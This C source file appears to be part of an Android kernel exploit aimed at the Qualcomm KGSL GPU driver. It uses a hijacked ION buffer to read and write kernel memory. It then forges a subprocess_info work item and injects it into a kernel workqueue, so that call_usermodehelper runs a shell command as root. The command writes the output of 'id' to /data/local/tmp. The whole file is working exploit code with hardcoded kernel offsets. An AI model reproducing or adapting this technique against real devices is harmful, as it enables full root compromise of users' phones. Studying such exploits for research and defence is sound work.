work_queue_utils.c

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/time.h>

#include "work_queue_utils.h"
#include "addr_utils.h"
#include "ion_utils.h"
#include "fake_obj_util.h"
#include "cpu_utils.h"
#include "kgsl_ioctl.h"

//workqueue_struct::numa_pwq_tbl
#define NUMA_PWQ_TBL_OFF 0x110
//pool_workqueue::pool
#define PWQ_POOL_OFF 0x0
//pool_workqueue::refcnt
#define REFCNT_OFF 0x18
//pool_workqueue::work_color
#define WORK_COLOR_OFF 0x10
//pool_workqueue::nr_in_flight
#define NR_IN_FLIGHT 0x1c
//pool_workqueue::nr_active
#define NR_ACTIVE 0x58
//pool_workqueue::max_active
#define MAX_ACTIVE 0x5c
//work_struct::entry
#define WORK_STRUCT_ENTRY 0x8

#define WORK_STRUCT_COLOR_SHIFT 4ul

#define CALL_USERMODE_OFF 0x16b5434ul

//run_cmd.envp
#define RUN_CMD_ENVP_OFF 0x2c8d158

#define WORK_STRUCT_PENDING 1

#define WORK_STRUCT_PWQ 4

//Padding between compilers not reliable, so use hardcode offsets
#define SUB_INFO_COMPLETE 0x30

#define SUB_INFO_PATH 0x38

#define SUB_INFO_ARGV 0x40

#define SUB_INFO_ENVP 0x48

#define SUB_INFO_FUNC 0x18

#define SUB_INFO_WAIT 0x58

#define SUB_INFO_RET 0x5c

#define SUB_INFO_SIZE 128

#define COMPLETION_LIST_OFF (0x8 + 0x8)

struct work_struct {
  uint64_t data;
  struct list_head entry;
  uint64_t func;
};

struct subprocess_info {
	struct work_struct work;
	struct completion *complete;
	uint64_t path;
	uint64_t argv;
	uint64_t envp;
	void *file;
	int wait;
	int retval;
	int pid;
	void* init;
	void* cleanup;
	void *data;
};

void setup_sub_info(uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t kernel_shift, uint64_t arg_vaddr, uint8_t* arg_region) {
  memset(sub_info, 0, SUB_INFO_SIZE);
  const char* path = "/system/bin/sh";

  const char* arg1 = "-c";
  const char* cmd = "/system/bin/id > /data/local/tmp/id.txt";
  memset(arg_region, 0, 0x280);
  memcpy(arg_region + 0x80, path, strlen(path));

  memcpy(arg_region + 0x100, arg1, strlen(arg1));
  memcpy(arg_region + 0x180, cmd, strlen(cmd));
  uint64_t* argv = (uint64_t*)arg_region;

  argv[0] = arg_vaddr + 0x80;
  argv[1] = arg_vaddr + 0x100;
  argv[2] = arg_vaddr + 0x180;
  argv[3] = 0;

  *((uint64_t*)(sub_info + SUB_INFO_FUNC)) = CALL_USERMODE_OFF + KERNEL_VBASE + kernel_shift;

  *((uint64_t*)(sub_info + SUB_INFO_PATH)) = arg_vaddr + 0x80;
  *((uint64_t*)(sub_info + SUB_INFO_ARGV)) = arg_vaddr;

  *((uint64_t*)(sub_info + SUB_INFO_ENVP)) = RUN_CMD_ENVP_OFF + KERNEL_VBASE + kernel_shift;

  uint64_t complete_addr = arg_vaddr + 0x200;
  *((uint64_t*)(sub_info + SUB_INFO_COMPLETE)) = complete_addr;
  uint8_t* completion = arg_region + 0x200;
  *((uint64_t*)(completion + COMPLETION_LIST_OFF)) = complete_addr + COMPLETION_LIST_OFF;
  *((uint64_t*)(completion + COMPLETION_LIST_OFF + 0x8)) = complete_addr + COMPLETION_LIST_OFF;

  *((uint32_t*)(sub_info + SUB_INFO_WAIT)) = 0;
  *((uint32_t*)(sub_info + SUB_INFO_RET)) = 0xfe;

}

static inline int work_color_to_flags(int color) {
  return color << WORK_STRUCT_COLOR_SHIFT;
}

uint8_t* map_addr_to_ion(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t vaddr) {
  uint64_t phys_addr = virt_to_phys(vaddr);
  uint64_t offset = phys_addr % 0x1000;
  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
  uint64_t len = 0x1000;
  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
  if (ion_region == MAP_FAILED) {
    return MAP_FAILED;
  }
  return (uint8_t*)(ion_region + offset);
}

uint64_t get_wq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_ptr_addr) {
  printf("wq_ptr_addr: %lx\n", wq_ptr_addr);
  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_ptr_addr);
  if (region == MAP_FAILED) {
    printf("get_wq_addr failed\n");
    return 0;
  }
  uint64_t* addr_ptr = (uint64_t*)region;
  uint64_t wq_addr = *addr_ptr;
  munmap((void*)page_align((uint64_t)region), 0x1000);
  return wq_addr;
}

uint64_t get_pwq_addr(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t wq_addr) {
  printf("wq_addr: %lx\n", wq_addr);
  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, wq_addr);
  if (region == MAP_FAILED) {
    printf("get_pwq_addr failed\n");
    return 0;
  }
  uint64_t* addr_ptr = (uint64_t*)(region + NUMA_PWQ_TBL_OFF);
  uint64_t pwq_addr = *addr_ptr;
  printf("pwq_addr %lx\n", pwq_addr);
  munmap((void*)page_align((uint64_t)region), 0x1000);
  return pwq_addr;
}

uint64_t map_pwq(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pwq_addr, uint64_t* pwq_region) {
  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pwq_addr);
  if (region == MAP_FAILED) {
    printf("map_pwq failed\n");
    return 0;
  }
  *pwq_region = (uint64_t)region;
  uint64_t* addr_ptr = (uint64_t*)(region + PWQ_POOL_OFF);
  uint64_t pool_addr = *addr_ptr;
  printf("pool_addr %lx\n", pool_addr);
  return pool_addr;
}

uint64_t map_pwq_pool(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t pool_addr, uint64_t* pool_region) {
  uint8_t* region = map_addr_to_ion(ion_dma_fd, buffer, table_vaddr, table_region, pool_addr);
  if (region == MAP_FAILED) {
    printf("map_pwq_pool failed\n");
    return 0;
  }
  *pool_region = (uint64_t)region;
  uint64_t* worklist = (uint64_t*)(region + WORKLIST_OFF);
  printf("worklist %lx %lx\n", worklist[0], worklist[1]);
  return *worklist;
}

__attribute__((noinline)) int insert_work(uint32_t* nr_active, uint32_t* refcnt, uint32_t* nr_in_flight, volatile uint64_t* worklist, uint64_t work_entry_addr, uint64_t worklist_addr) {
  uint32_t nr_act = *nr_active;
  uint32_t inflight = *nr_in_flight;
  uint32_t refcount = *refcnt;
  *refcnt = refcount + 1;
  *nr_active = nr_act + 1;
  *nr_in_flight = inflight + 1;
  if (worklist_addr == *worklist) {
    worklist[0] = work_entry_addr;
    worklist[1] = work_entry_addr;
    return 0;
  }
  *refcnt = refcount;
  *nr_active = nr_act;
  *nr_in_flight = inflight;
  return -1;
}

void spin_lock(volatile uint32_t* lock) {
  while (*lock);
  *lock = 1;
  return;
}

void wake_up_queue() {
  int kgsl_fd = open("/dev/kgsl-3d0", O_RDONLY);
  struct kgsl_timeline_val param = {0};
  ioctl(kgsl_fd, IOCTL_KGSL_TIMELINE_QUERY, &param);
  close(kgsl_fd);
}

int queue_work(uint8_t* pool_region, uint64_t pool_addr, uint8_t* pwq_region, uint64_t pwq_addr, uint8_t* sub_info, uint64_t sub_info_vaddr, uint64_t worklist_addr) {
  uint32_t* max_active = (uint32_t*)(pwq_region + MAX_ACTIVE);
  uint32_t* nr_active = (uint32_t*)(pwq_region + NR_ACTIVE);
  uint32_t* refcnt = (uint32_t*)(pwq_region + REFCNT_OFF);
  uint32_t* work_color_ptr = (uint32_t*)(pwq_region + WORK_COLOR_OFF);
  uint32_t* nr_in_flight = (uint32_t*)(pwq_region + NR_IN_FLIGHT);
  volatile uint64_t* worklist = (uint64_t*)(pool_region + WORKLIST_OFF);
  uint64_t work_entry_addr = sub_info_vaddr + WORK_STRUCT_ENTRY;
  uint32_t* lock = (uint32_t*)(pool_region);

  migrate_to_cpu(0);
  struct work_struct* work = (struct work_struct*)sub_info;
  work->entry.next = worklist_addr;
  work->entry.prev = worklist_addr;
  int refcount = *refcnt;
  if (refcount == 0) {
    printf("memory pool has refcount 0\n");
    return -1;
  }
  printf("max_active %u nr_active %u\n", *max_active, *nr_active);
  uint32_t work_color = *work_color_ptr;
  uint32_t work_flags = work_color_to_flags(work_color);
  work->data = (WORK_STRUCT_PENDING | WORK_STRUCT_PWQ | work_flags | pwq_addr);
  printf("queuing work, waiting to aquire spin lock\n");
  int ret = 0;
  for (int i = 0; i < 1000; i++) {
    spin_lock(lock);
    ret = insert_work(nr_active, refcnt, nr_in_flight + work_color, worklist, work_entry_addr, worklist_addr);
    if (ret == -1) {
      *lock = 0;
    } else {
      break;
    }
    usleep(100);
  }
  if (ret == 0) {
    *lock = 0;
  } else {
    return -1;
  }
  printf("work_queued\n");
  sleep(1);
  if (*worklist == work_entry_addr) {
    wake_up_queue();
  }

  migrate_to_cpu(1);
  struct timeval start, end;
  long micros_used, secs_used;
  int try_wake_up = 0;

  gettimeofday(&start, NULL);

  while(*worklist == work_entry_addr) {
    gettimeofday(&end, NULL);
    secs_used=(end.tv_sec - start.tv_sec);
    if (secs_used > 2) {
      if (try_wake_up < 3) {
        wake_up_queue();
        try_wake_up++;
        gettimeofday(&start, NULL);
      } else {
        printf("[-] Work queue may have stalled, try pressing power button to wake up\n");
        gettimeofday(&start, NULL);
      }
    }
    usleep(1000);
  }
  printf("work processed\n");
  printf("complete %lx\n", *((uint64_t*)(sub_info + SUB_INFO_COMPLETE)));
  uint32_t cmd_ret = *((uint32_t*)(sub_info + SUB_INFO_RET));
  printf("ret %d\n", cmd_ret);
  printf("nr_active %u\n", *nr_active);
  printf("worklist %lx\n", worklist[0]);
  printf("work next %lx\n", work->entry.next);
  if (*((uint32_t*)(sub_info + SUB_INFO_RET)) == 0) {
    printf("[+] successfully run command and added id.txt in /data/local/tmp\n");
  } else {
    printf("[-] Failed to run command, error code %d\n", cmd_ret);
    return -1;
  }
  sleep(1);
  
  return 0;
}